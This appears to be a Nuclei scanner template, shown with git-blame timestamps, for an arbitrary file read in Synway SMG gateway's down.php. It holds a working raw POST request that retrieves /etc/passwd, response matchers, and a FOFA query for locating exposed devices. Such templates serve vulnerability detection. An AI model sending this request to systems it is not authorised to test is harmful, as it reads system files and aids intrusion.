2023-08-18 03:22:06 +00:00
id : sanhui-smg-file-read
info :
2023-09-05 12:25:45 +00:00
name : Synway SMG Gateway down.php - Arbitrary File Read
2023-08-18 03:22:06 +00:00
author : SleepingBag945
severity : high
2023-09-05 12:25:45 +00:00
description : |
There is an arbitrary file reading vulnerability in the down.php file of Synway SMG gateway management software, through which an attacker can download any file from the server.
reference :
- https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E4%B8%89%E6%B1%87SMG%20%E7%BD%91%E5%85%B3%E7%AE%A1%E7%90%86%E8%BD%AF%E4%BB%B6%20down.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
metadata :
verified : true
2023-10-14 11:27:55 +00:00
max-request : 1
2023-09-05 12:25:45 +00:00
fofa-query : body="text ml10 mr20" && title="网关管理软件"
2023-10-14 11:27:55 +00:00
tags : sanhui-smg,lfi,gateway,intrusive
2023-08-18 03:22:06 +00:00
http :
- raw :
- |
POST /down.php HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryfA9vzLuw6Gmtnmv2
------WebKitFormBoundaryfA9vzLuw6Gmtnmv2
Content-Disposition : form-data; name="downfile"
/etc/passwd
------WebKitFormBoundaryfA9vzLuw6Gmtnmv2
Content-Disposition : form-data; name="down"
下载
------WebKitFormBoundaryfA9vzLuw6Gmtnmv2
Content-Disposition : form-data; name="runinfoupdate"
------WebKitFormBoundaryfA9vzLuw6Gmtnmv2--
matchers-condition : and
matchers :
- type : regex
2023-09-05 12:25:45 +00:00
part : body
2023-08-18 03:22:06 +00:00
regex :
- "root:.*:0:0:"
2023-09-05 12:25:45 +00:00
- type : word
part : header
words :
- "application/octet-stream"
- "filename=passwd"
condition : and
2023-08-18 03:22:06 +00:00
- type : status
status :
- 200
2023-10-20 11:41:13 +00:00
# digest: 490a00463044022009d3b459418d1abb24ccaf170d158422d13cd8747a844f4b933758dadf797f20022032406cb73434d8e00f650d5e79b13014161b7f83bb3ad610562ad6df2bf7fa11:922c64590222798bb761d5b6d8e72950